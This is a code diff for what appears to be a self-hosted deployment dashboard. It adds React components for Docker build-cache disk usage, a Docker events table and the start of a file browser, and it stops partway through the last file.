<RotateCcw className="mr-2 size-4" />
|
||||
|
||||
@ -14,10 +14,11 @@ import {
|
||||
import type { inferRouterOutputs } from "@trpc/server";
|
||||
import {
|
||||
ArrowUpDown,
|
||||
Boxes,
|
||||
ChevronLeft,
|
||||
ChevronRight,
|
||||
CircuitBoard,
|
||||
ExternalLink,
|
||||
GlobeIcon,
|
||||
Loader2,
|
||||
Rocket,
|
||||
Server,
|
||||
@ -71,24 +72,26 @@ function getServiceInfo(d: DeploymentRow) {
|
||||
return {
|
||||
type: "Application" as const,
|
||||
name: app.name,
|
||||
icon: app.icon,
|
||||
projectId: app.environment.project.projectId,
|
||||
environmentId: app.environment.environmentId,
|
||||
projectName: app.environment.project.name,
|
||||
environmentName: app.environment.name,
|
||||
serviceId: app.applicationId,
|
||||
href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}`,
|
||||
href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}?tab=deployments`,
|
||||
};
|
||||
}
|
||||
if (comp?.environment?.project && comp.environment) {
|
||||
return {
|
||||
type: "Compose" as const,
|
||||
name: comp.name,
|
||||
icon: comp.icon,
|
||||
projectId: comp.environment.project.projectId,
|
||||
environmentId: comp.environment.environmentId,
|
||||
projectName: comp.environment.project.name,
|
||||
environmentName: comp.environment.name,
|
||||
serviceId: comp.composeId,
|
||||
href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}`,
|
||||
href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}?tab=deployments`,
|
||||
};
|
||||
}
|
||||
return null;
|
||||
@ -175,10 +178,16 @@ export function ShowDeploymentsTable() {
|
||||
if (!info) return <span className="text-muted-foreground">—</span>;
|
||||
return (
|
||||
<div className="flex items-center gap-2">
|
||||
{info.type === "Application" ? (
|
||||
<Rocket className="size-4 text-muted-foreground shrink-0" />
|
||||
{info.icon ? (
|
||||
<img
|
||||
src={info.icon}
|
||||
alt={info.name}
|
||||
className="size-4 object-contain shrink-0"
|
||||
/>
|
||||
) : info.type === "Application" ? (
|
||||
<GlobeIcon className="size-4 text-muted-foreground shrink-0" />
|
||||
) : (
|
||||
<Boxes className="size-4 text-muted-foreground shrink-0" />
|
||||
<CircuitBoard className="size-4 text-muted-foreground shrink-0" />
|
||||
)}
|
||||
<div className="flex flex-col min-w-0">
|
||||
<span className="font-medium truncate">{info.name}</span>
|
||||
|
||||
@ -0,0 +1,428 @@
|
||||
"use client";
|
||||
|
||||
import {
|
||||
type ColumnDef,
|
||||
flexRender,
|
||||
getCoreRowModel,
|
||||
getPaginationRowModel,
|
||||
getSortedRowModel,
|
||||
type PaginationState,
|
||||
type SortingState,
|
||||
useReactTable,
|
||||
} from "@tanstack/react-table";
|
||||
import type { inferRouterOutputs } from "@trpc/server";
|
||||
import {
|
||||
ArrowUpDown,
|
||||
Boxes,
|
||||
Database,
|
||||
Gauge,
|
||||
HardDrive,
|
||||
Layers,
|
||||
Loader2,
|
||||
type LucideIcon,
|
||||
Trash2,
|
||||
} from "lucide-react";
|
||||
import { useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import type { AppRouter } from "@/server/api/root";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
type DiskUsageItem =
|
||||
inferRouterOutputs<AppRouter>["dockerDiskUsage"]["getDiskUsage"][number];
|
||||
type BuildCacheBase =
|
||||
inferRouterOutputs<AppRouter>["dockerDiskUsage"]["getBuildCache"][number];
|
||||
type BuildCacheRow = BuildCacheBase & { key: string };
|
||||
|
||||
interface Props {
|
||||
serverId?: string;
|
||||
}
|
||||
|
||||
const STAT_CARDS: { type: string; title: string; icon: LucideIcon }[] = [
|
||||
{ type: "Images", title: "Images", icon: Layers },
|
||||
{ type: "Containers", title: "Containers", icon: Boxes },
|
||||
{ type: "Local Volumes", title: "Volumes", icon: HardDrive },
|
||||
{ type: "Build Cache", title: "Build Cache", icon: Database },
|
||||
];
|
||||
|
||||
const SortableHeader = ({
|
||||
column,
|
||||
title,
|
||||
}: {
|
||||
column: {
|
||||
getIsSorted: () => false | "asc" | "desc";
|
||||
toggleSorting: (asc: boolean) => void;
|
||||
};
|
||||
title: string;
|
||||
}) => (
|
||||
<Button
|
||||
variant="ghost"
|
||||
className="-ml-3 h-8"
|
||||
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||
>
|
||||
{title}
|
||||
<ArrowUpDown className="ml-2 size-4" />
|
||||
</Button>
|
||||
);
|
||||
|
||||
const StatCard = ({
|
||||
icon: Icon,
|
||||
title,
|
||||
item,
|
||||
isLoading,
|
||||
}: {
|
||||
icon: LucideIcon;
|
||||
title: string;
|
||||
item?: DiskUsageItem;
|
||||
isLoading: boolean;
|
||||
}) => (
|
||||
<Card className="p-4">
|
||||
<div className="flex items-center gap-2 text-sm text-muted-foreground">
|
||||
<Icon className="size-4" />
|
||||
{title}
|
||||
</div>
|
||||
{isLoading ? (
|
||||
<div className="mt-3 flex items-center gap-2 text-sm text-muted-foreground">
|
||||
<Loader2 className="size-4 animate-spin" />
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="mt-2 text-2xl font-semibold">{item?.size ?? "-"}</div>
|
||||
<div className="mt-1 flex flex-wrap gap-x-3 text-xs text-muted-foreground">
|
||||
<span>{item?.totalCount ?? 0} total</span>
|
||||
<span>{item?.active ?? 0} active</span>
|
||||
<span>{item?.reclaimable ?? "-"} reclaimable</span>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</Card>
|
||||
);
|
||||
|
||||
export const ShowDiskUsage = ({ serverId }: Props) => {
|
||||
const utils = api.useUtils();
|
||||
const [sorting, setSorting] = useState<SortingState>([
|
||||
{ id: "Size", desc: true },
|
||||
]);
|
||||
const [globalFilter, setGlobalFilter] = useState("");
|
||||
const [pagination, setPagination] = useState<PaginationState>({
|
||||
pageIndex: 0,
|
||||
pageSize: 10,
|
||||
});
|
||||
|
||||
const { data: diskUsage, isLoading: isLoadingDiskUsage } =
|
||||
api.dockerDiskUsage.getDiskUsage.useQuery({ serverId });
|
||||
const { data: buildCache, isLoading: isLoadingBuildCache } =
|
||||
api.dockerDiskUsage.getBuildCache.useQuery({ serverId });
|
||||
const { mutateAsync: pruneBuildCache, isPending: isPruning } =
|
||||
api.dockerDiskUsage.pruneBuildCache.useMutation();
|
||||
|
||||
const usageByType = useMemo(
|
||||
() => new Map((diskUsage ?? []).map((item) => [item.type, item])),
|
||||
[diskUsage],
|
||||
);
|
||||
|
||||
const rows = useMemo<BuildCacheRow[]>(
|
||||
() =>
|
||||
(buildCache ?? []).map((entry) => ({
|
||||
...entry,
|
||||
key: entry.id,
|
||||
})),
|
||||
[buildCache],
|
||||
);
|
||||
|
||||
const filteredData = useMemo(() => {
|
||||
if (!globalFilter.trim()) {
|
||||
return rows;
|
||||
}
|
||||
const query = globalFilter.toLowerCase();
|
||||
return rows.filter(
|
||||
(entry) =>
|
||||
entry.id.toLowerCase().includes(query) ||
|
||||
entry.description.toLowerCase().includes(query) ||
|
||||
entry.type.toLowerCase().includes(query),
|
||||
);
|
||||
}, [rows, globalFilter]);
|
||||
|
||||
const handlePrune = async () => {
|
||||
try {
|
||||
await pruneBuildCache({ serverId });
|
||||
toast.success("Build cache pruned");
|
||||
await Promise.all([
|
||||
utils.dockerDiskUsage.getBuildCache.invalidate(),
|
||||
utils.dockerDiskUsage.getDiskUsage.invalidate(),
|
||||
]);
|
||||
} catch (error) {
|
||||
toast.error("Error pruning build cache", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
const columns = useMemo<ColumnDef<BuildCacheRow>[]>(
|
||||
() => [
|
||||
{
|
||||
accessorKey: "id",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Cache ID" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="font-mono text-xs text-muted-foreground">
|
||||
{row.original.id.slice(0, 16)}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "type",
|
||||
header: ({ column }) => <SortableHeader column={column} title="Type" />,
|
||||
cell: ({ row }) => <Badge variant="outline">{row.original.type}</Badge>,
|
||||
},
|
||||
{
|
||||
accessorKey: "description",
|
||||
header: "Description",
|
||||
enableSorting: false,
|
||||
cell: ({ row }) => (
|
||||
<div
|
||||
className="max-w-[360px] truncate text-xs text-muted-foreground"
|
||||
title={row.original.description}
|
||||
>
|
||||
{row.original.description || "-"}
|
||||
</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "Size",
|
||||
accessorFn: (entry) => entry.sizeBytes,
|
||||
header: ({ column }) => <SortableHeader column={column} title="Size" />,
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground">{row.original.size}</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "created",
|
||||
accessorKey: "createdSince",
|
||||
header: "Created",
|
||||
enableSorting: false,
|
||||
cell: ({ row }) => (
|
||||
<span className="text-xs text-muted-foreground whitespace-nowrap">
|
||||
{row.original.createdSince}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "lastUsed",
|
||||
accessorKey: "lastUsedSince",
|
||||
header: "Last Used",
|
||||
enableSorting: false,
|
||||
cell: ({ row }) => (
|
||||
<span className="text-xs text-muted-foreground whitespace-nowrap">
|
||||
{row.original.lastUsedSince}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "usageCount",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Usage" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground">
|
||||
{row.original.usageCount}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "flags",
|
||||
enableSorting: false,
|
||||
header: "Flags",
|
||||
cell: ({ row }) => (
|
||||
<div className="flex gap-1">
|
||||
{row.original.inUse && <Badge variant="blue">In use</Badge>}
|
||||
{row.original.shared && <Badge variant="outline">Shared</Badge>}
|
||||
</div>
|
||||
),
|
||||
},
|
||||
],
|
||||
[],
|
||||
);
|
||||
|
||||
const table = useReactTable({
|
||||
data: filteredData,
|
||||
columns,
|
||||
getRowId: (row) => row.key,
|
||||
state: {
|
||||
sorting,
|
||||
pagination,
|
||||
},
|
||||
onSortingChange: setSorting,
|
||||
onPaginationChange: setPagination,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
getSortedRowModel: getSortedRowModel(),
|
||||
getPaginationRowModel: getPaginationRowModel(),
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="w-full space-y-4">
|
||||
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-4">
|
||||
{STAT_CARDS.map((stat) => (
|
||||
<StatCard
|
||||
key={stat.type}
|
||||
icon={stat.icon}
|
||||
title={stat.title}
|
||||
item={usageByType.get(stat.type)}
|
||||
isLoading={isLoadingDiskUsage}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||
<div className="rounded-xl bg-background shadow-md">
|
||||
<CardHeader>
|
||||
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||
<div>
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<Gauge className="size-6 text-muted-foreground self-center" />
|
||||
Build Cache
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Cache layers kept by the Docker builder on the selected
|
||||
server.
|
||||
</CardDescription>
|
||||
</div>
|
||||
<DialogAction
|
||||
title="Prune build cache"
|
||||
description="This will remove all build cache entries that are not currently in use. This action cannot be undone."
|
||||
onClick={handlePrune}
|
||||
disabled={isPruning}
|
||||
>
|
||||
<Button variant="outline" size="sm" disabled={isPruning}>
|
||||
<Trash2 className="size-4 mr-1" />
|
||||
Prune build cache
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-4 py-8 border-t">
|
||||
{isLoadingBuildCache ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : !buildCache?.length ? (
|
||||
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||
<div className="rounded-full bg-muted p-4">
|
||||
<Database className="size-10 text-muted-foreground" />
|
||||
</div>
|
||||
<div className="space-y-1 text-center">
|
||||
<p className="text-sm font-medium">No build cache found</p>
|
||||
<p className="max-w-sm text-sm text-muted-foreground">
|
||||
Layers cached by "docker build" on this server will appear
|
||||
here.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<Input
|
||||
placeholder="Search by id, type or description..."
|
||||
value={globalFilter}
|
||||
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||
className="max-w-xs"
|
||||
/>
|
||||
</div>
|
||||
<div className="rounded-md border overflow-x-auto">
|
||||
<Table>
|
||||
<TableHeader>
|
||||
{table.getHeaderGroups().map((headerGroup) => (
|
||||
<TableRow key={headerGroup.id}>
|
||||
{headerGroup.headers.map((header) => (
|
||||
<TableHead key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext(),
|
||||
)}
|
||||
</TableHead>
|
||||
))}
|
||||
</TableRow>
|
||||
))}
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{table.getRowModel().rows?.length ? (
|
||||
table.getRowModel().rows.map((row) => (
|
||||
<TableRow key={row.id}>
|
||||
{row.getVisibleCells().map((cell) => (
|
||||
<TableCell key={cell.id}>
|
||||
{flexRender(
|
||||
cell.column.columnDef.cell,
|
||||
cell.getContext(),
|
||||
)}
|
||||
</TableCell>
|
||||
))}
|
||||
</TableRow>
|
||||
))
|
||||
) : (
|
||||
<TableRow>
|
||||
<TableCell
|
||||
colSpan={columns.length}
|
||||
className="h-24 text-center text-muted-foreground"
|
||||
>
|
||||
No build cache entries match your filters.
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
)}
|
||||
</TableBody>
|
||||
</Table>
|
||||
</div>
|
||||
{table.getPageCount() > 1 && (
|
||||
<div className="flex items-center justify-end gap-4">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||
{table.getPageCount()}
|
||||
</span>
|
||||
<div className="flex gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.previousPage()}
|
||||
disabled={!table.getCanPreviousPage()}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.nextPage()}
|
||||
disabled={!table.getCanNextPage()}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@ -0,0 +1,425 @@
|
||||
import {
|
||||
type ColumnDef,
|
||||
flexRender,
|
||||
getCoreRowModel,
|
||||
getPaginationRowModel,
|
||||
getSortedRowModel,
|
||||
type PaginationState,
|
||||
type SortingState,
|
||||
useReactTable,
|
||||
} from "@tanstack/react-table";
|
||||
import { Activity, ArrowUpDown, Loader2, RefreshCw } from "lucide-react";
|
||||
import { useMemo, useState } from "react";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import { api, type RouterOutputs } from "@/utils/api";
|
||||
|
||||
interface Props {
|
||||
serverId?: string;
|
||||
}
|
||||
|
||||
type DockerEvent = RouterOutputs["docker"]["getEvents"]["events"][number];
|
||||
type EventRow = DockerEvent & { key: string };
|
||||
|
||||
const RANGE_OPTIONS = [
|
||||
{ label: "Last 5 minutes", value: 5 },
|
||||
{ label: "Last 15 minutes", value: 15 },
|
||||
{ label: "Last hour", value: 60 },
|
||||
{ label: "Last 6 hours", value: 360 },
|
||||
{ label: "Last 24 hours", value: 1440 },
|
||||
];
|
||||
|
||||
type BadgeVariant = "blue" | "green" | "yellow" | "orange" | "red" | "blank";
|
||||
|
||||
const TYPE_VARIANTS: Record<string, BadgeVariant> = {
|
||||
container: "blue",
|
||||
image: "green",
|
||||
volume: "yellow",
|
||||
network: "orange",
|
||||
service: "blue",
|
||||
node: "orange",
|
||||
};
|
||||
|
||||
const ACTION_VARIANTS: Record<string, BadgeVariant> = {
|
||||
create: "green",
|
||||
start: "green",
|
||||
pull: "green",
|
||||
connect: "green",
|
||||
die: "red",
|
||||
destroy: "red",
|
||||
kill: "red",
|
||||
stop: "red",
|
||||
remove: "red",
|
||||
disconnect: "red",
|
||||
pause: "yellow",
|
||||
unpause: "yellow",
|
||||
};
|
||||
|
||||
const getTypeVariant = (type?: string): BadgeVariant =>
|
||||
(type && TYPE_VARIANTS[type]) || "blank";
|
||||
|
||||
const getActionVariant = (action?: string): BadgeVariant =>
|
||||
(action && ACTION_VARIANTS[action]) || "blank";
|
||||
|
||||
const getResource = (event: DockerEvent) =>
|
||||
event.Actor?.Attributes?.name ?? event.Actor?.ID ?? "-";
|
||||
|
||||
const getAttributesText = (event: DockerEvent) => {
|
||||
const attributes = Object.entries(event.Actor?.Attributes ?? {}).filter(
|
||||
([key]) => key !== "name",
|
||||
);
|
||||
return attributes.map(([key, value]) => `${key}=${value}`).join(" ") || "-";
|
||||
};
|
||||
|
||||
const SortableHeader = ({
|
||||
column,
|
||||
title,
|
||||
}: {
|
||||
column: {
|
||||
getIsSorted: () => false | "asc" | "desc";
|
||||
toggleSorting: (asc: boolean) => void;
|
||||
};
|
||||
title: string;
|
||||
}) => (
|
||||
<Button
|
||||
variant="ghost"
|
||||
className="-ml-3 h-8"
|
||||
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||
>
|
||||
{title}
|
||||
<ArrowUpDown className="ml-2 size-4" />
|
||||
</Button>
|
||||
);
|
||||
|
||||
export const ShowDockerEvents = ({ serverId }: Props) => {
|
||||
const [minutes, setMinutes] = useState(15);
|
||||
const [search, setSearch] = useState("");
|
||||
const [sorting, setSorting] = useState<SortingState>([
|
||||
{ id: "time", desc: true },
|
||||
]);
|
||||
const [pagination, setPagination] = useState<PaginationState>({
|
||||
pageIndex: 0,
|
||||
pageSize: 15,
|
||||
});
|
||||
|
||||
const { data, isLoading, isRefetching, refetch, error } =
|
||||
api.docker.getEvents.useQuery({
|
||||
serverId,
|
||||
minutes,
|
||||
});
|
||||
|
||||
const events = useMemo<EventRow[]>(
|
||||
() =>
|
||||
(data?.events ?? []).map((event, index) => ({
|
||||
...event,
|
||||
key: `${event.time}-${event.Action}-${index}`,
|
||||
})),
|
||||
[data],
|
||||
);
|
||||
|
||||
const filteredEvents = useMemo(() => {
|
||||
if (!search.trim()) return events;
|
||||
const query = search.toLowerCase();
|
||||
return events.filter((event) => {
|
||||
return (
|
||||
event.Type?.toLowerCase().includes(query) ||
|
||||
event.Action?.toLowerCase().includes(query) ||
|
||||
event.Actor?.Attributes?.name?.toLowerCase().includes(query) ||
|
||||
event.Actor?.ID?.toLowerCase().includes(query)
|
||||
);
|
||||
});
|
||||
}, [events, search]);
|
||||
|
||||
const columns = useMemo<ColumnDef<EventRow>[]>(
|
||||
() => [
|
||||
{
|
||||
id: "time",
|
||||
accessorFn: (event) => event.time ?? 0,
|
||||
header: ({ column }) => <SortableHeader column={column} title="Time" />,
|
||||
cell: ({ row }) => (
|
||||
<span className="text-xs text-muted-foreground whitespace-nowrap">
|
||||
{row.original.time
|
||||
? new Date(row.original.time * 1000).toLocaleTimeString()
|
||||
: "-"}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "type",
|
||||
accessorFn: (event) => event.Type ?? "",
|
||||
header: ({ column }) => <SortableHeader column={column} title="Type" />,
|
||||
cell: ({ row }) => (
|
||||
<Badge variant={getTypeVariant(row.original.Type)}>
|
||||
{row.original.Type ?? "unknown"}
|
||||
</Badge>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "action",
|
||||
accessorFn: (event) => event.Action ?? "",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Action" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<Badge variant={getActionVariant(row.original.Action)}>
|
||||
{row.original.Action ?? "-"}
|
||||
</Badge>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "resource",
|
||||
accessorFn: (event) => getResource(event),
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Resource" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const resource = getResource(row.original);
|
||||
return (
|
||||
<div
|
||||
className="max-w-[220px] truncate font-mono text-xs"
|
||||
title={resource}
|
||||
>
|
||||
{resource}
|
||||
</div>
|
||||
);
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "attributes",
|
||||
accessorFn: (event) => getAttributesText(event),
|
||||
header: "Attributes",
|
||||
enableSorting: false,
|
||||
cell: ({ row }) => {
|
||||
const attributesText = getAttributesText(row.original);
|
||||
return (
|
||||
<div
|
||||
className="max-w-[360px] truncate text-xs text-muted-foreground"
|
||||
title={attributesText}
|
||||
>
|
||||
{attributesText}
|
||||
</div>
|
||||
);
|
||||
},
|
||||
},
|
||||
],
|
||||
[],
|
||||
);
|
||||
|
||||
const table = useReactTable({
|
||||
data: filteredEvents,
|
||||
columns,
|
||||
getRowId: (row) => row.key,
|
||||
state: {
|
||||
sorting,
|
||||
pagination,
|
||||
},
|
||||
onSortingChange: setSorting,
|
||||
onPaginationChange: setPagination,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
getSortedRowModel: getSortedRowModel(),
|
||||
getPaginationRowModel: getPaginationRowModel(),
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||
<div className="rounded-xl bg-background shadow-md">
|
||||
<CardHeader>
|
||||
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||
<div>
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<Activity className="size-6 text-muted-foreground self-center" />
|
||||
Docker Events
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Events reported by the Docker daemon, equivalent to running
|
||||
"docker events".
|
||||
</CardDescription>
|
||||
</div>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => refetch()}
|
||||
disabled={isRefetching}
|
||||
>
|
||||
<RefreshCw
|
||||
className={`size-4 mr-1 ${isRefetching ? "animate-spin" : ""}`}
|
||||
/>
|
||||
Refresh
|
||||
</Button>
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-4 py-8 border-t">
|
||||
{error && (
|
||||
<p className="text-sm text-destructive">{error.message}</p>
|
||||
)}
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<Input
|
||||
placeholder="Filter by type, action or name..."
|
||||
value={search}
|
||||
onChange={(e) => {
|
||||
setSearch(e.target.value);
|
||||
setPagination((prev) => ({ ...prev, pageIndex: 0 }));
|
||||
}}
|
||||
className="max-w-xs"
|
||||
/>
|
||||
<Select
|
||||
value={String(minutes)}
|
||||
onValueChange={(value) => setMinutes(Number(value))}
|
||||
>
|
||||
<SelectTrigger className="w-[180px]">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{RANGE_OPTIONS.map((option) => (
|
||||
<SelectItem key={option.value} value={String(option.value)}>
|
||||
{option.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
<div className="rounded-md border overflow-x-auto">
|
||||
<Table>
|
||||
<TableHeader>
|
||||
{table.getHeaderGroups().map((headerGroup) => (
|
||||
<TableRow key={headerGroup.id}>
|
||||
{headerGroup.headers.map((header) => (
|
||||
<TableHead key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext(),
|
||||
)}
|
||||
</TableHead>
|
||||
))}
|
||||
</TableRow>
|
||||
))}
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{isLoading ? (
|
||||
<TableRow>
|
||||
<TableCell
|
||||
colSpan={columns.length}
|
||||
className="h-24 text-center text-muted-foreground"
|
||||
>
|
||||
<div className="flex flex-row items-center justify-center gap-2">
|
||||
<span>Loading events...</span>
|
||||
<Loader2 className="size-4 animate-spin" />
|
||||
</div>
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
) : table.getRowModel().rows?.length ? (
|
||||
table.getRowModel().rows.map((row) => (
|
||||
<TableRow key={row.id}>
|
||||
{row.getVisibleCells().map((cell) => (
|
||||
<TableCell key={cell.id}>
|
||||
{flexRender(
|
||||
cell.column.columnDef.cell,
|
||||
cell.getContext(),
|
||||
)}
|
||||
</TableCell>
|
||||
))}
|
||||
</TableRow>
|
||||
))
|
||||
) : (
|
||||
<TableRow>
|
||||
<TableCell
|
||||
colSpan={columns.length}
|
||||
className="h-24 text-center text-muted-foreground"
|
||||
>
|
||||
No events found in the selected time range.
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
)}
|
||||
</TableBody>
|
||||
</Table>
|
||||
</div>
|
||||
{table.getPageCount() > 1 && (
|
||||
<div className="flex items-center justify-end gap-4">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||
{table.getPageCount()}
|
||||
</span>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-sm text-muted-foreground">Go to</span>
|
||||
<Input
|
||||
type="number"
|
||||
min={1}
|
||||
max={table.getPageCount()}
|
||||
defaultValue={table.getState().pagination.pageIndex + 1}
|
||||
key={table.getState().pagination.pageIndex}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key !== "Enter") return;
|
||||
const value = Number(
|
||||
(e.target as HTMLInputElement).value,
|
||||
);
|
||||
if (!Number.isFinite(value)) return;
|
||||
const page = Math.min(
|
||||
Math.max(value, 1),
|
||||
table.getPageCount(),
|
||||
);
|
||||
table.setPageIndex(page - 1);
|
||||
}}
|
||||
onBlur={(e) => {
|
||||
const value = Number(e.target.value);
|
||||
if (!Number.isFinite(value)) return;
|
||||
const page = Math.min(
|
||||
Math.max(value, 1),
|
||||
table.getPageCount(),
|
||||
);
|
||||
table.setPageIndex(page - 1);
|
||||
}}
|
||||
className="w-16 h-8"
|
||||
/>
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.previousPage()}
|
||||
disabled={!table.getCanPreviousPage()}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.nextPage()}
|
||||
disabled={!table.getCanNextPage()}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@ -0,0 +1,401 @@
|
||||
import {
|
||||
ChevronRight,
|
||||
Download,
|
||||
File,
|
||||
Folder,
|
||||
FolderOpen,
|
||||
Loader2,
|
||||
RefreshCw,
|
||||
Trash2,
|
||||
} from "lucide-react";
|
||||
import { useEffect, useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
type Props = {
|
||||
serverId?: string;
|
||||
children?: React.ReactNode;
|
||||
asDropdownItem?: boolean;
|
||||
} & (
|
||||
| { containerId: string; volumeName?: undefined }
|
||||
| { volumeName: string; containerId?: undefined }
|
||||
);
|
||||
|
||||
const joinPath = (base: string, name: string) =>
|
||||
